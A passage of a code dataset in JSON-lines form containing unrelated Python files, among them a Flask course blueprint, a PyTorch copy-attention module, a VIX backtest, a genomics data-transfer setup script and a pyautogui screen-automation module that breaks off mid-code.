\"repos_url\": \"https://github.example.com/api/v3/users/a_user/repos\",\n \"site_admin\": \"false\",\n \"starred_url\": \"https://github.example.com/api/v3/users/a_user/starred{/owner}{/repo}\",\n \"subscriptions_url\": \"https://github.example.com/api/v3/users/a_user/subscriptions\",\n \"type\": \"User\",\n \"url\": \"https://github.example.com/api/v3/users/a_user\"\n }\n },\n ]\n msg0 = zing_stats.parse_pr_message(messages[0])\n assert msg0 == {}\n msg1 = zing_stats.parse_pr_message(messages[1])\n assert msg1['num'] == None\n assert msg1['status'] == 'succeeded'\n assert msg1['v_score'] == None\n assert len(msg1['jobs']) == 3\n assert msg1['jobs'][0]['name'] == 'foo-example-check'\n assert msg1['jobs'][0]['non_voting'] is None\n assert msg1['jobs'][1]['name'] == 'foo-sec-scan'\n assert msg1['jobs'][1]['non_voting'] == ' (non-voting)'\n assert msg1['jobs'][2]['name'] == 'another-scan'\n assert msg1['jobs'][2]['non_voting'] == ' (non-voting)'\n","sub_path":"tests/test_zing_stats.py","file_name":"test_zing_stats.py","file_ext":"py","file_size_in_byte":6670,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"457723123","text":"import json\nimport os\nfrom readConfig import proDir\n\njsonPath = os.path.join(proDir, 'testFIle')\n\n\nclass OperationJson:\n # 操作json文件\n def __init__(self, file_path=None):\n if file_path==None:\n # self.file_path = os.path.join(proDir, 'testFile', file_path)\n self.file_path = jsonPath+\"/data\"\n else:\n self.file_path = self.read_data()\n self.data = self.read_data()\n\n def read_data(self):\n \"\"\"\n 读取json文件\n :return:\n \"\"\"\n with open(jsonPath+\"/data\", 'rb') as fp:\n data = json.load(fp)\n return data\n\n\n\n def get_data(self, id):\n \"\"\"\n 根据关键字获取对应数据\n :return:\n \"\"\"\n return self.data[id]\n\n def write_data(self, data):\n with open(jsonPath+\"/token\", 'w') as fp:\n json.dump(data, fp)\n print(\"加载成功\")\n #fp.write(json.dump(data))\n\n\nif __name__ == '__main__':\n file_path = jsonPath+\"/data\"\n opejson = OperationJson()\n print(opejson.read_data())\n print(opejson.get_data(\"user\"))\n \"\"\"\n data = {\n \"username\": \"Jane_cm_qj\",\n \"password\": \"abc@123456\"\n }\n #print(type(data))\n opejson.write_data(data)\n \n \"\"\"\n\n\n\n","sub_path":"util/oper_json.py","file_name":"oper_json.py","file_ext":"py","file_size_in_byte":1278,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"388502860","text":"from flask import Blueprint, render_template, request, flash, url_for, redirect\nfrom flask_login import login_required, current_user\n\nfrom simpledu.forms import CommentForm\nfrom simpledu.models import Course, Chapter, Comment\n\ncourse = Blueprint('course', __name__, url_prefix='/course')\n\n\n@course.route('/')\ndef detail(course_id):\n course = Course.query.get_or_404(course_id)\n form = CommentForm()\n return render_template('course/detail.html', course=course, form=form)\n\n\n@course.route('//chapter/')\n@login_required\ndef chapter(course_id, chapter_id):\n chapter = Chapter.query.get_or_404(chapter_id)\n return render_template('course/chapter.html', chapter=chapter)\n\n\n@course.route('//comment', methods=['POST'])\n@login_required\ndef comment(course_id):\n user_id = current_user.id\n content = request.form.get('content')\n comment = Comment(\n author_id=user_id,\n content=content,\n course_id=course_id\n )\n reply_id = request.form.get('reply_id')\n if reply_id:\n comment.reply_id = reply_id\n comment.create()\n flash('评论成功', 'success')\n return redirect(url_for('course.detail', course_id=course_id))\n","sub_path":"simpledu/handlers/course.py","file_name":"course.py","file_ext":"py","file_size_in_byte":1231,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"232261643","text":"# -*- coding: utf-8 -*-\n# @Time : 2020/4/11 15:53\n# @Author : Weiyang\n# @File : CopyAttentionDistribution.py\n\n# -------------------------------------------------\n# Copy Attention Distribution 模块\n# --------------------------------------------------\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nclass CopyAttentionDistribution(nn.Module):\n\n def __init__(self,hidden_size,embedding_size):\n super(CopyAttentionDistribution,self).__init__()\n self.hidden_size = hidden_size # 当前隐状态的维度\n self.embedding_size = embedding_size # bert输出的词向量的维度\n # current_hidden_state\n self.Linear_s = nn.Linear(in_features=self.hidden_size,out_features=1)\n # bert_inputs\n self.Linear_b = nn.Linear(in_features=self.embedding_size,out_features=1)\n\n\n def forward(self,current_hidden_state,bert_inputs,source,output_size,CopyCoverageVector):\n '''\n :param current_hidden_state: 当前TransformerDecoder输出的隐状态,[batch_size,1,hidden_size]\n :param bert_inputs: 输入序列经过BERT处理后的各个时刻的向量表示,[batch_size,max_time_step,embedding_size]\n :param source: 输入序列,[batch_size,max_time_step]\n :param output_size: 输出词包大小\n :param CopyCoverageVector: [batch_size,max_time_step,1],用以记录解码阶段输入序列中各个位置Copy注意力权重的累加值\n :return:词包中各个单词的拷贝概率,那些不在输入序列中的词的拷贝概率为0\n '''\n assert self.hidden_size == self.embedding_size,print('TransformerDecoder的输出维度与Bert模型的词向量维度不一致!')\n max_time_step = bert_inputs.size(1) # 输入文本的最大长度\n # 将current_hidden_state沿着第二维度复制max_time_step份,方便计算注意力权重\n # multi_current_hidden_state: [batch_size,max_time_step,hidden_size]\n multi_current_hidden_state = current_hidden_state.repeat(1,max_time_step,1)\n\n # [batch_size,max_time_step,1]\n multi_current_hidden_state = self.Linear_s(multi_current_hidden_state)\n # [batch_size,max_time_step,1]\n bert_inputs = self.Linear_b(bert_inputs)\n\n # --------------------------------------------- Coverage mechanism -----------------------------------------\n\n # 计算Coverage损失,用于惩罚那些注意力权重经常比较大的位置\n # coverage mechanism\n # needs an extra loss function to penalize repeatedly attending\n # to the same locations, otherwise it would be ineffective with\n # no discernible reduction in repetition\n\n # attention_weights: [batch_size,max_time_step,1]\n # CoverageVector: [batch_size,max_time_step,1]\n # 比较上述两个tensor的最后一维度的相应值,取较小值作为当前序列中当前时刻的损失\n # [batch_size,max_time_step,1]\n attention_weights = torch.tanh(multi_current_hidden_state + bert_inputs + CopyCoverageVector)\n # softmax: [batch_size,max_time_step,1]\n attention_weights = F.softmax(attention_weights,dim=1)\n\n # 累加注意力权重到覆盖向量中\n CopyCoverageVector += attention_weights\n\n ac = torch.cat((attention_weights, CopyCoverageVector), 2) # [batch_size,max_time_step,2]\n CoverageLoss = torch.min(ac, dim=2) # (min,min_index)\n CoverageLoss = torch.sum(CoverageLoss[0].data, dtype=torch.float32)\n\n # [batch_size,max_time_step]\n attention_weights = attention_weights.squeeze(2)\n\n # 我们需要将不同位置相同的字符的copy概率累加到一起,最后输出一个概率分布,大小为词包大小\n # 因此,那些不在输入序列中,但在词包中的字符的概率为0\n # copying a word directly from the corresponding source text based on attention distribution\n # 在解码时,我们将输入序列中各个时刻的注意力权重,作为相应时刻对应单词的copy概率\n batch_size = current_hidden_state.size(0) # 当前batch的大小\n # 存储当前解码时刻,source端各个位置的累积的copy概率(注意力权重),其形状要与词包大小一致,使得可以输出预测结果的概率分布,便于计算交叉熵损失\n # [batch_size,output_size]\n source_position_copy_prob = torch.zeros((batch_size,output_size))\n max_time_step = source.size(1)\n # 遍历每条数据\n for i in range(batch_size):\n # 当前输入序列的ID序列\n A = source[i] # [max_time_step,]\n # 当前输入序列的copy概率(注意力权重)序列\n B = attention_weights[i]\n # 构建一个[max_time_step,output_size]的零tensor,以存储每个时刻output_size维度是否出现有A中的ID\n mask = torch.zeros((max_time_step,output_size))\n index = torch.arange(max_time_step)\n mask[index,A] = 1\n # 将A中ID在B中的概率累加起来,并存储到维度为output_size的tensor中\n C = torch.matmul(B,mask) # [output_size,]\n source_position_copy_prob[i] = C\n # [batch_size,output_size],[batch_size,max_time_step,1]\n return source_position_copy_prob,CopyCoverageVector,CoverageLoss\n\nif __name__ == '__main__':\n model = CopyAttentionDistribution(2,2)\n source = torch.ones((3,6),dtype=torch.int32)\n output_size = 7\n current_hidden_state = torch.ones((3,1,2)) # [3,1,2]\n bert_inputs = torch.ones((3,6,2)) # [3,6,2]\n CopyCoverageVector = torch.ones((3,6,1))\n result,CoverageVector,loss = model(current_hidden_state,bert_inputs,source,output_size,CopyCoverageVector)\n print(current_hidden_state)\n print(bert_inputs)\n print(result)\n print(result.size())\n print(CoverageVector)\n print(CoverageVector.size())\n print(loss)","sub_path":"Keyword_Bert_DecoderCPU/src/CopyAttentionDistribution.py","file_name":"CopyAttentionDistribution.py","file_ext":"py","file_size_in_byte":5922,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"241054186","text":"#!/usr/bin/python3\n\n'''\nscript that adds the State object “Louisiana”\nto the database <>\n'''\n\n\nimport sys\nfrom relationship_state import Base, State\nfrom relationship_city import City\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.orm import sessionmaker\n\n\nif __name__ == \"__main__\":\n '''\ntake 3 arguments: <>, <> and <>\n'''\n engine = create_engine('mysql+mysqldb://{}:{}@localhost/{}'\n .format(sys.argv[1], sys.argv[2], sys.argv[3]),\n pool_pre_ping=True)\n Base.metadata.create_all(engine)\n\n Session = sessionmaker(engine)\n session = Session()\n\n new_state = State(name='California')\n session.add(new_state)\n session.commit()\n\n new_city = City(name='San Francisco', state_id=new_state.id)\n session.add(new_city)\n session.commit()\n","sub_path":"0x0F-python-object_relational_mapping/100-relationship_states_cities.py","file_name":"100-relationship_states_cities.py","file_ext":"py","file_size_in_byte":886,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"233355302","text":"# Type help(\"robolink\") or help(\"robodk\") for more information\n# Press F5 to run the script\n# Documentation: https://robodk.com/doc/en/RoboDK-API.html\n# Reference: https://robodk.com/doc/en/PythonAPI/index.html\n# Note: It is not required to keep a copy of this file, your python script is saved with the station\nfrom robolink import * # RoboDK API\nfrom robodk import * # Robot toolbox\nRDK = Robolink()\n\n\nrobot = RDK.Item('UR5')\nif robot.Valid():\n print('Item selected: ' + robot.Name())\n print('Item posistion: ' + repr(robot.Pose()))\n\n#Move to Start Position\nrobot.MoveJ([90, -45, 45, -90, -90, 0]);\n\n\n","sub_path":"startPos.py","file_name":"startPos.py","file_ext":"py","file_size_in_byte":621,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"560834985","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Jul 2 15:16:16 2018\n\n@author: dongxucz\n\"\"\"\n\nimport numpy as np\nimport csv as csvlib\nfrom locale import atoi\nfrom os.path import exists\n# from torch.utils.data import Dataset\n\nclass OOK_signal:\n \"\"\"Create (randomly generate|load from file) or save an OOK signal.\n\n NOTE: Default OOK formating is RZ code, therefore, when external ref\n is given (data_ref or load_file), any sample beyond {0, 1} will be \n converted to 0 or 1 following the principle:\n x = 0 if sample_value <= 0\n 1 if sample_value > 0\n In other words, given a ref signal of NRZ code, this automatically\n converts to default RZ code, stored in OOK_signal.data_bits\n Use OOK_signal.nrz() to get an NRZ code of data_bits.\n \"\"\"\n def __init__(self, data_len = 0, data_ref=[], load_file = ''):\n '''\n Arguments:\n data_len - number of symbols to generate/load\n data_ref - a list containing reference symbols to copy from\n load_file - data file's name to copy from (should be xx.csv)\n '''\n if (load_file!=''): # load data from disk\n if exists(load_file):\n if (load_file[-3:]!='csv'):\n raise ValueError('OOK_signal: only .csv is supported')\n else:\n with open(load_file, 'r') as f:\n #self.data_bits=np.array([atoi(item[0]) for item in csvlib.reader(f)])\n self.data_bits=np.sign([np.max((0,atoi(item[0]))) for item in csvlib.reader(f)])\n if (data_len==0)|((data_len!=0)&(data_len>len(self.data_bits))):\n self.data_len = len(self.data_bits)\n if data_len!=0:\n print('WARNING: load_file has less samples ({0}) than required ({1})'.format(self.data_len, data_len))\n else:\n self.data_bits=self.data_bits[0:data_len]\n self.data_len = data_len\n else:\n raise ValueError('Class OOK_signal: {0} does not exist'.format(load_file))\n else: # copy from reference or generate randomly\n if (len(data_ref) == 0):\n self.data_len = data_len\n self.data_bits = np.random.randint(2,size=data_len)\n else:\n if (data_len==0)|((data_len!=0)&(data_len>len(data_ref))):\n self.data_bits = np.sign([np.max((0,item)) for item in data_ref])\n self.data_len = len(data_ref)\n if (data_len != 0):\n print('WARNING: data_ref has less samples ({0}) than required ({1})'.format(self.data_len, data_len))\n else:\n self.data_bits = np.sign([np.max((0,item)) for item in data_ref[0:data_len]])\n self.data_len = data_len\n def append(self, a):\n \"\"\" Append more data to the data_bits\n \n Arguments:\n a - can be another OOK_signal, or an 1d numpy array, or a list.\n Note that range of a's contents is not limited. Negtive values\n will be interprated as 0, positive as 1.\n \"\"\"\n #print(a.__class__, self.__class__)\n if (a.__class__ == np.ndarray or a.__class__ == list):\n a_ook = np.sign([np.max((0,item)) for item in a])\n #elif (a.__class__== self.__class__):\n else:\n a_ook = a.data_bits\n self.data_bits = np.concatenate((self.data_bits, a_ook),axis=0)\n self.data_len = len(self.data_bits)\n \n def take(self, s):\n \"\"\" take a slice out of the data_bits\n \n Arguments:\n s - slice object. Example: OOK_signal.slicer(slice(0,10,2)) will\n output a numpy array containing OOK_signal's data_bits[0, 2, \n 4, 6, 8] elements.\n \"\"\"\n return self.data_bits[s]\n \n def nrz(self, dtype = int):\n temp_array = np.sign( self.data_bits - 0.5 )\n return temp_array.astype(dtype)\n \n def data_bits_astype(self, dtype):\n return self.data_bits.astype(dtype)\n \n \n def save_to_csv(self, csv_name=None):\n if csv_name==None:\n raise ValueError('OOK_signal::save_to_csv() - please provide a file name')\n else:\n with open(csv_name,'w', newline='') as f:\n writer = csvlib.writer(f)\n for item in self.data_bits:\n writer.writerow([item])\n\n \n#class nn_pd_dataset(Dataset):\n# \"\"\"the customized data reader for Pytorch's DataLoader utility.\n# Inherited from the abstract class 'Dataset' with overided __len__()\n# and __getitem__() methods. Takes padas dataset as inputs.\n# \"\"\"\n# def __init__(self, pd_dataframe_x, pd_dataframe_y, transform=None):\n# \"\"\"\n# Args:\n# pd_dataframe_x/y, pandas dataframe of feature/label.\n# \"\"\"\n# self.pd_dataframe_x = pd_dataframe_x\n# self.pd_dataframe_y = pd_dataframe_y\n# self.transform = transform\n# \n# def __len__(self):\n# return self.pd_dataframe_x.shape[0]\n#\n# def __getitem__(self, idx):\n# sample = {'features':self.pd_dataframe_x.iloc[idx].get_values(), \n# 'labels':self.pd_dataframe_y.iloc[idx]}\n# return sample\n# getitem = __getitem__\n# n_sample = __len__\n# \n#class nn_ndarray_dataset(Dataset):\n# \"\"\"the customized data reader for Pytorch's DataLoader utility.\n# Inherited from the abstract class 'Dataset' with overided __len__()\n# and __getitem__() methods. Takes ndarray as inputs.\n# \"\"\"\n# def __init__(self, dataframe_x, dataframe_y, transform=None):\n# \"\"\"\n# Args:\n# pd_dataframe_x/y, pandas dataframe of feature/label.\n# \"\"\"\n# self.dataframe_x = dataframe_x\n# self.dataframe_y = dataframe_y\n# self.transform = transform\n# \n# def __len__(self):\n# return self.dataframe_x.shape[0]\n#\n# def __getitem__(self, idx):\n# sample = {'features':self.dataframe_x[idx], \n# 'labels':self.dataframe_y[idx]}\n# return sample\n# getitem = __getitem__\n# n_sample = __len__","sub_path":"core/ook_lib.py","file_name":"ook_lib.py","file_ext":"py","file_size_in_byte":6268,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"572353179","text":"import sys\nimport os\nimport csv\nimport argparse\nimport glob\nimport subprocess\nimport smartsheet\nfrom datetime import datetime, timedelta\n\nAPI_KEY = os.environ.get('SMRT_API')\n\nif API_KEY is None:\n sys.exit('Api key not found')\n\nsmart_sheet_client = smartsheet.Smartsheet(API_KEY)\nsmart_sheet_client.errors_as_exceptions(True)\n\nmm_dd_yy = datetime.now().strftime('%Y-%m-%d')\nexp_date = (datetime.now() + timedelta(days=14)).strftime('%Y-%m-%d')\n\n\ndef get_object(object_id, object_tag):\n\n if object_tag == 'f':\n obj = smart_sheet_client.Folders.get_folder(str(object_id))\n elif object_tag == 'w':\n obj = smart_sheet_client.Workspaces.get_workspace(str(object_id))\n elif object_tag == 's':\n obj = smart_sheet_client.Sheets.get_sheet(str(object_id))\n\n return obj\n\n\nparser = argparse.ArgumentParser()\nparser.add_argument('-f', type=str, help='Illumina bam path csv from imp (required)', required=True)\nparser.add_argument('-gb', help='Uses Gerald Bam Path for transfer files', action='store_true')\nparser.add_argument('-i', help='Uses Index Sequence to find fastq files', action='store_true')\nparser.add_argument('-t', help='input file format is tsv (default=csv)', action='store_true')\nparser.add_argument('-ud', type=str, help='User input dir for file transfer')\nparser.add_argument('-c', help='cellRanger data transfer', action='store_true')\nargs = parser.parse_args()\n\ncwd = os.getcwd()\n\nif not os.path.isfile(args.f):\n sys.exit('{} file not found'.format(args.f))\n\ndisc_space_in = subprocess.check_output(['df', '-h', '/gscmnt/gxfer1/gxfer1']).decode('utf-8')\nprint('\\nCurrent disk status:')\nprint(disc_space_in)\n\n# Turned off, user can quit if there's inadequate disk space.\n# disc_in = input('Is there adequate disk space?(y/n): ')\n#\n# while True:\n# if disc_in == 'n':\n# sys.exit('Insufficient disk space.')\n# elif disc_in == 'y':\n# break\n# else:\n# disc_in = input('Please enter either y or n: ')\n\nwhile True:\n dt_dir = input('Input data transfer directory (JIRA ticket number, \"-\" required in dir name):\\n').strip()\n if '-' not in dt_dir:\n continue\n else:\n break\n\nif os.path.isdir(dt_dir):\n sys.exit('Exiting: {} directory already exists.'.format(dt_dir))\nelse:\n os.mkdir(dt_dir)\n os.rename(os.path.join(cwd, args.f), os.path.join(cwd, dt_dir, args.f))\n os.chdir(dt_dir)\n\n\ndef paths(indir, dtdir, index=None):\n dt_file = dtdir.lower().replace('-', '')\n\n with open('paths', 'a') as p, open(dt_file, 'a') as d:\n p.write('{}\\n'.format(indir))\n if args.i:\n d.write('{}/{}*_R*fastq*\\n'.format(indir, index))\n else:\n d.write('{}/*fastq*\\n'.format(indir))\n\n\ndef write_samplemap(path_samp, dtdir):\n dt_file = dtdir.lower().replace('-', '')\n \n with open(dt_file, 'a') as df:\n df.write(path_samp)\n\n\ndef gxfr_command(dtdir):\n\n while True:\n dt_file = dtdir.lower().replace('-', '')\n tag = input('\\nEnter data transfer subject line:\\n').strip().replace(' ', '\\ ')\n input_emails = input('\\nEnter data transfer emails (comma separated list):\\n')\n input_emails = input_emails + ',lmaguire,dt@jira.ris.wustl.edu'\n command = 'gxfer-upload-md5 --file={} --tag=\"{}\\ {}\" --emails={}\\n'.format(dt_file, tag, dt_dir, input_emails)\n\n if 'y' in input('\\ngxfer command:\\n{}\\ny to continue (anything else to re-create):\\n'.format(command)).lower():\n if args.gb and dup_check:\n with open('gxfer.data.transfer.symlink.sh', 'w') as gxs:\n sym_command = 'gxfer-upload-md5 --file={} --tag=\"{}\\ {}\" --emails={}\\n'.format(\n '{}.symlink'.format(dt_file), tag, dt_dir, input_emails)\n print('\\nSymbolic link gxfer command for duplicate bams:\\n{}'.format(sym_command))\n gxs.write(sym_command)\n\n with open('gxfer.data.transfer.sh', 'w') as gx:\n gx.write(command)\n print('\\nData transfer setup complete.')\n print('{} Samples ready for transfer.'.format(sample_count))\n print('Transfer directory:\\n{}'.format(os.path.abspath(os.getcwd())))\n return input_emails\n\n\ndef md5_check(md5_dir, sample, nu_check):\n search_type = '*.gz.md5'\n\n if args.gb:\n search_type = '*.bam.md5'\n if len(glob.glob('{}/{}'.format(md5_dir, search_type))) != nu_check:\n print('{} md5 files are missing from {}'.format(sample, md5_dir))\n\n\nif args.c:\n with open('{}.cellRanger.tar.sh'.format(dt_dir), 'w') as f, open(dt_dir.lower().replace('-', ''), 'a') as df:\n while True:\n sample_name = input('\\ncellRanger sample name:\\n') + '.tar.gz'\n df.write('{}\\n'.format(os.path.join(cwd, sample_name)))\n f.write('tar -czvf {} {}\\n'.format(sample_name, input('cellRanger data directory:\\n')))\n if 'n' in input('\\nEnter additional cellRanger samples? (y/n):\\n').lower():\n break\n\n\nwith open(args.f, 'r') as infiletsv, open('Samplemap.csv', 'w') as sf:\n\n delim = ','\n if args.t:\n delim = '\\t'\n\n fh = csv.DictReader(infiletsv, delimiter=delim)\n infile_header = fh.fieldnames\n\n if not (args.gb or args.ud):\n infile_header.extend(['File1', 'File2'])\n\n sm = csv.DictWriter(sf, fieldnames=infile_header, delimiter=',')\n sm.writeheader()\n\n md5_missing_file_dict = {}\n dup_status = False\n dup_check = {}\n sample_count = 0\n\n for line in fh:\n\n sample_count += 1\n\n if not (args.gb or args.ud):\n\n if 'Full Path' not in line or 'Index Sequence' not in line or 'Sample Full Name' not in line:\n sys.exit('Header fields not correct, please check input file headers: Full Path Index, Sequence, '\n 'Sample, Full Name are present')\n\n if not os.path.isdir(line['Full Path']):\n print('Sample: {}, {} directory not found.'.format(line['Sample Full Name'], line['Full Path']))\n continue\n\n paths(line['Full Path'], dt_dir, index=line['Index Sequence'])\n md5_check(line['Full Path'], line['Sample Full Name'], 2)\n fq_files = glob.glob('{}/*fastq*'.format(line['Full Path']))\n if args.i:\n fq_files = glob.glob('{}/{}*_R*fastq*'.format(line['Full Path'], line['Index Sequence']))\n file_count = 1\n\n for file in fq_files:\n\n fastq = file.split('/')[-1]\n\n if 'md5' not in fastq:\n if file_count > 2:\n sys.exit('More than 2 fastq files match to {}'.format(fastq))\n line['File{}'.format(file_count)] = fastq\n file_count += 1\n\n sm.writerow(line)\n\n if args.gb:\n\n if 'Gerald Bam Path' not in line:\n sys.exit('Gerald Bam Path header not found, please check header is named correctly')\n\n if os.path.isfile(line['Gerald Bam Path']):\n md5_check(os.path.dirname(line['Gerald Bam Path']), line['Sample Full Name'], 1)\n\n if '.bam' in line['Gerald Bam Path']:\n bam_file = line['Gerald Bam Path'].split('/')[-1]\n if bam_file not in dup_check:\n dup_check[bam_file] = bam_file\n else:\n dup_status = True\n\n with open(dt_dir.lower().replace('-', ''), 'a') as fh:\n fh.write('{}\\n'.format(line['Gerald Bam Path']))\n else:\n print('Bam file not found:\\n{}'.format(line['Gerald Bam Path']))\n print(line, '\\n')\n\n sm.writerow(line)\n\n if args.ud:\n sm.writerow(line)\n\nif args.ud:\n\n if not os.path.isdir(args.ud):\n sys.exit('{} directory not found'.format(args.ud))\n\n with open(dt_dir.lower().replace('-', ''), 'a') as fh:\n fh.write('{}*\\n'.format(args.ud))\n\n\nif dup_status:\n with open('Samplemap.csv', 'r') as sm, open('Samplemap.symlink.csv', 'w') as ss, \\\n open('{}.symlink'.format(dt_dir.lower().replace('-', '')), 'w') as dts:\n\n sm_csv = csv.DictReader(sm)\n sm_header = sm_csv.fieldnames\n sm_header.append('bam_symlink_path')\n\n ss_csv = csv.DictWriter(ss, fieldnames=sm_header)\n ss_csv.writeheader()\n\n if not os.path.isdir('symlink'):\n os.mkdir('symlink')\n\n for line in sm_csv:\n if line['Gerald Bam Path'] and 'bam' in line['Gerald Bam Path']:\n bamfile_path_split = line['Gerald Bam Path'].split('/')\n symlink_file = '{}/symlink/{}.{}'.format(os.getcwd(), bamfile_path_split[-2], bamfile_path_split[-1])\n if not os.path.islink(symlink_file):\n os.symlink(line['Gerald Bam Path'], symlink_file)\n line['bam_symlink_path'] = symlink_file\n ss_csv.writerow(line)\n dts.write('{}\\n'.format(symlink_file))\n else:\n print('{} symlink path already exists.'.format(symlink_file))\n\n dts.write('Samplemap.symlink.csv')\n\n\nwrite_samplemap(os.path.realpath('Samplemap.csv'), dt_dir)\nemails = gxfr_command(dt_dir)\n\n# Updating smartsheet:\ndata_transfer_sheet = get_object(33051905419140, 's')\n\ncolumns = data_transfer_sheet.columns\ncolumn_dict = {}\n\nfor column in columns:\n column_dict[column.title] = column.id\n\nnew_row = smartsheet.models.Row()\nnew_row.to_bottom = True\nnew_row.cells.append({'column_id': column_dict['JIRA ID'], 'value' : dt_dir})\nnew_row.cells.append({'column_id': column_dict['Transfer Date'], 'value': mm_dd_yy})\nnew_row.cells.append({'column_id': column_dict['Data Transfer Expiration'], 'value': exp_date})\nnew_row.cells.append({'column_id': column_dict['Collaborator Email'], 'value': emails})\n\nresponse = smart_sheet_client.Sheets.add_rows(data_transfer_sheet.id, new_row)\n","sub_path":"dt.py","file_name":"dt.py","file_ext":"py","file_size_in_byte":9957,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"463009427","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Feb 21 18:13:07 2021\n\n@author: cherry\n\"\"\"\nimport pandas as pd\nimport queue\nfrom DataProcessing import VixDataHandler\nfrom Strategy import VixStrategy\nimport warnings\nfrom Performance import BktPerformance\nfrom Common import OrderCost\n\nwarnings.filterwarnings('ignore')\n\n\nif __name__ == '__main__':\n start_date = '2007-01-04'\n end_date = '2020-09-30'\n datapath = \"VIX_output.csv\"\n adj_factor = 1\n event = queue.Queue()\n order_cost = OrderCost()\n \n df = pd.read_csv(datapath)\n symbol_list = [x for x in df.columns if x[:2] == 'UX']\n \n vix_data_handler = VixDataHandler(datapath, start_date, end_date, adj_factor, \n symbol_list, 'SPX500', event)\n vix_strategy = VixStrategy(vix_data_handler, event, order_cost, start_date)\n \n vix_data_handler.get_history_data()\n vix_data_handler.get_history_positions()\n\n while True:\n if vix_data_handler.flag_backtest_continue:\n vix_data_handler.update_bars()\n else:\n vix_strategy.update_lastday_after_bar()\n print('>>> 回测结束!\\n')\n break\n \n while True:\n try:\n e = event.get(block=False)\n except queue.Empty:\n break\n else:\n if e.type == 'Bar':\n vix_strategy.on_bar(e)\n vix_strategy.update_after_on_bar(e)\n if e.type == 'Signal':\n # print(e)\n vix_strategy.on_signal(e)\n if e.type == 'Order':\n # print(e)\n vix_strategy.on_order(e)\n if e.type == 'Fill': \n print(e)\n vix_strategy.on_fill(e)\n \n portfolio = vix_strategy.all_holdings_df\n benchmark = vix_data_handler.get_benchmark_data()\n bkt_perform = BktPerformance(portfolio, benchmark)\n bkt_perform.cal_params()\n bkt_perform.plot_strategy_curves()\n \n\n","sub_path":"4. TradeSystem/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2033,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"100616591","text":"import pickle\nimport pyautogui\nimport os\nimport time\nimport pyscreeze\n\ndata_dir = os.path.join(os.path.dirname(__file__), 'tars_data')\n\n\ndef ensure_data_dir_exists(dir):\n try:\n os.makedirs(dir)\n except OSError:\n pass\n\n\nclass Picklable:\n def __init__(self, type_name, name):\n self.type_name = type_name\n self.name = name\n\n def data_dir(self):\n return os.path.join(data_dir, self.type_name)\n\n def file_path(self):\n return os.path.join(self.data_dir(), '{}.{}'.format(self.name, self.type_name))\n\n def save(self):\n ensure_data_dir_exists(self.data_dir())\n pickle.dump(self, open(self.file_path(), 'wb+'))\n\n def load(self):\n file_path = self.file_path()\n return pickle.load(open(file_path, 'rb'))\n\n\nclass Region:\n \"\"\"\n A region is a description of a rectangular bound where the values are expressed in percentage of the whole image\n \"\"\"\n def __init__(self, left, top, width, height):\n assert 0 <= left <= 1\n assert 0 <= top <= 1\n assert 0 <= width <= 1\n assert 0 <= height <= 1\n assert left + width <= 1\n assert top + height <= 1\n self.left = left\n self.top = top\n self.width = width\n self.height = height\n\n def of(self, width, height):\n return [int(n) for n in [self.left * width, self.top * height, self.width * width, self.height * height]]\n\n def __eq__(self, other):\n return self.left == other.left \\\n and self.top == other.top \\\n and self.width == other.width \\\n and self.height == other.height\n\n def __str__(self):\n return 'Region(l{}, t{}, w{}, h{})'.format(self.left, self.top, self.width, self.height)\n\n def __repr__(self):\n return 'Region(l{}, t{}, w{}, h{})'.format(self.left, self.top, self.width, self.height)\n\n\nclass Feature(Picklable):\n \"\"\"\n A feature contains a reference to a template image and a confidence level at which it can be found\n \"\"\"\n def __init__(self, name='', template='', confidence=0.95, region=Region(0, 0, 1, 1)):\n super().__init__('feature', name)\n\n self.template = template\n self.confidence = confidence\n\n assert type(region) is Region\n self.region = region\n\n def check(self, input_data):\n try:\n region = self.region.of(input_data.width, input_data.height)\n coords = pyautogui.locate(self.template, input_data, region=region, confidence=self.confidence)\n if coords is None:\n return None\n return pyautogui.center(coords)\n except ValueError as e:\n print('input_data(w,h) = {},{}, template={}'.format(input_data.width, input_data.height, self.template))\n raise e\n except pyscreeze.ImageNotFoundException:\n return None\n\n # required to make it setable\n def __eq__(self, other):\n if not isinstance(other, type(self)):\n return NotImplemented\n return self.name == other.name \\\n and self.confidence == other.confidence \\\n and self.region == other.region \\\n and self.template == other.template\n\n # required to make it hashable\n def __hash__(self):\n return hash(self.name\n + self.template\n + str(self.confidence)\n + str(self.region))\n\n\nclass Action(Picklable):\n def __init__(self, name, feature=None, wait=5):\n super().__init__('action', name)\n self.feature = feature\n self.wait = wait\n\n def do(self, input_data, window_x=0, window_y=0, retina_factor=1):\n if self.feature:\n coords = self.feature.check(input_data)\n if coords is None:\n print(\"Could not find feature [{}] to perform action [{}]\".format(self.feature.name, self.name))\n coords = [c * retina_factor for c in coords]\n coords = [coords[0] + window_x, coords[1] + window_y]\n pyautogui.click(coords[0], coords[1])\n if self.wait:\n time.sleep(self.wait)\n\n\nclass State(Picklable):\n \"\"\"\n A state contains a reference features to look for and click features to click on.\n It also contains references to next states.\n \"\"\"\n def __init__(self, name=''):\n super().__init__('state', name)\n\n self.search = []\n\n self.next_states = {}\n # will be like:\n # {\n # frozenset(f1, f2): (action2, state2),\n # frozenset(f1, f2, f3): (action3, state3),\n # }\n\n \"\"\"\n Takes a list a features, a single Action, and a single State\n \"\"\"\n def add_next_state(self, features, actions, next_state):\n self.next_states[frozenset(features)] = (actions, next_state)\n\n \"\"\"\n Removes a next state identified by a unique list of features\n \"\"\"\n def 